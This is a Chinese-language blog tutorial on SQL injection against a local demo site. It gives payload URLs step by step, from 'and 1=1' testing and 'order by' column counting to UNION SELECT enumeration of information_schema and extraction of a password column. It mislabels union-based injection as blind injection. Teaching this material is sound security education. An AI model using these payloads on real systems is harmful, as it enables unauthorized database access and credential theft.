SQL注入-盲注

SQL注入主要有兩種:盲注和時間注入

盲注

當網站沒有錯誤回顯,攻擊者缺少重要的信息進行攻擊,但並不是無法進行攻擊,攻擊者通過構造簡單的SQL語句來測試網頁是否發生變化,從而判斷SQL語句是否執行了,這就是所謂的盲注。

比如,如下的請求鏈接:

<code>http://localhost:8080/user/name?name=lingheng/<code>

執行的SQ L語句為:

<code>select * from t_person
where Fname='lingheng'/<code>

服務器成功返回查詢的結果:


SQL注入-盲注

服務器成功返回查詢的結果

可以構造如下參數進行請求:

<code>http://localhost:8080/user/name?
name=lingheng' and 1=2 %23/<code>

數據庫實際執行的SQL語句如下:

<code>select * from t_person 
where Fname='lingheng' and 1=2 #'/<code>

%23是在瀏覽器中被解析為註釋符 #,註釋符將後面的SQL語句註釋掉。I=2這個條件為假,SQL語句查詢的結果永遠為空,服務器永遠不會返回結果,攻擊者得到一個空的頁面或者是具有錯誤信息的頁面。

攻擊者還可以構造如下參數進行請求:

<code>http://localhost:8080/user/name?
name=lingheng' and 1=1 %23/<code>

實際執行的SQL語句為:

<code>select * from t_person 
where Fname='lingheng' and 1=1 #'/<code>

攻擊者構造1=1進行請求時,得到結果跟參數name=lingheng一樣。由於構造 and 1=1 和and 1=2 進行請求,得到的結果不一樣,說明這個鏈接存在SQL注入。這就是盲注的基本測試方法以及基本的原理。

order by 測試表的字段個數

當發現有SQL注入漏洞時,如何進一步獲取更多的數據庫信息呢?

當發現有SQL注入時,可以使用order by進行測試表的字段個數

構造的請求鏈接為:

<code>http://localhost:8080/user/name?
name=lingheng' order by 4 %23/<code>

上述請求實際執行的SQL語句為:

<code>select * from t_person
where Fname='lingheng' order by 4 #'/<code>

order by 4 的意思是根據第四個字段進行排序,當請求結果返回正常時,說明表的字段個數是少於4的。將order by 4 換成order by 5 進行請求,發現請求時返回的結果是錯誤的,那麼說明表的字段個數是小於5的,根據order by 4 和order by 5的兩個構造條件返回的結果,可以判斷這個表的字段個數為4。order by 5的請求結果如下:

SQL注入-盲注

order by 5的請求結果

由於網頁的請求結果是顯示在頁面上的,所以可以結合 union 進行下一步的攻擊,由於知道表的字段個數為 4 ,所以可以構造如下的鏈接:

<code>http://localhost:8080/user/name?
name=' union select 1,2 ,3,4 %23/<code>

實際執行的SQL語句為:

<code>SELECT * FROM t_person 
where Fname ='' union select 1,2 ,3,4 #'/<code>

得到的請求結果為:


SQL注入-盲注

請求結果

由於數據庫中沒有name=‘’的記錄,所以會返回union select 查詢的結果。接下來可以在2、3的位置使用database()、user()或者version()進行構造請求鏈接:

<code>http://localhost:8080/user/name?
name=' union select 1,database() ,user(),4 %23/<code>

實際執行的SQL語句為:

<code>SELECT * FROM t_person 
where Fname ='' union select 1,database() ,user(),4 #' /<code>

得到的結果如下圖所示:

SQL注入-盲注

數據庫名稱

從上圖可以看出,database()的結果是數據庫的名稱為test,當前登錄的MySQL的用戶是root。在MySQL 注入基礎部分,我們知道有MySQL的information_schema數據庫中有三個比較重要的表:schemata、tables、columns。這三個表保存著數據庫名稱、表名以及表的字段名等信息。當獲取到數據庫名稱後,可以構造如下的請求鏈接進行獲取表名:

<code>http://localhost:8080/user/name?name=' union select 1,
(select table_name from information_schema.tables
where table_schema='test' limit 0,1) ,3,4 %23/<code>

實際的SQL執行語句為:

<code>SELECT * FROM t_person where Fname ='' union select 1,(select table_name from information_schema.tables   
where table_schema='test' limit 0,1) ,3,4 #'/<code>

將union select 查詢中 2 的位置換成了如下SQL語句:

<code>select table_name from information_schema.tables 
where table_schema='test' limit 0,1/<code>

上述SQL語句是根據數據庫的名稱查詢數據庫的表名,最多返回一個表名。如果查詢的數據庫中有多個表名,可以利用limit進行限制返回,limit 1,1 返回第二個表名。構造的請求返回的結果如下:

SQL注入-盲注

表名

可以看到返回的數據庫的表名為t_person,知道數據庫的名稱和表名就可以構造請求鏈接查詢表的字段名,也是在union select 中 2 的位置換成如下SQL語句:

<code>select column_name from information_schema.columns 
where table_schema='test' and table_name='t_person' limit 0,1/<code>

實際執行的SQL語句為:

<code>SELECT * FROM t_person where Fname ='' union select 1,(select column_name from information_schema.columns 
where table_schema='test' and table_name='t_person' limit 0,1) ,3,4 #'/<code>

查詢的結果為:


SQL注入-盲注

列名

從上圖可以看到第一個字段名字為Fid,查詢第二個字段名將imit 0.1改為limit 1,1 就可以了。通過查詢得到表的字段名為:Fid、Fname、Fpass_word、Fsex。通過數據名稱、表名以及字段名,就可以將數據中的數據數據查出來,將union select 中的 2 位置換成如下SQL語句:

<code>select Fpass_word from test.t_person limit 0,1/<code>

根據上述的SQL語句就可以查詢字段對應的數據了,其他字段的數據也可以構造上述的查詢語句進行查詢。現在攻擊者沒有權限卻獲取了數據庫的名稱、表名、字段名以及數據庫中的數據,這對於網站來說是一件很危險的事。

我是小圖靈視界,會不定時更新互聯網安全、互聯網資源、互聯網技術、以及互聯網工具的文章,歡迎各位進行關注!

需要完整源碼和教程PDF的可以關注我,並留言評論,我將會發給你!


分享到:


相關文章: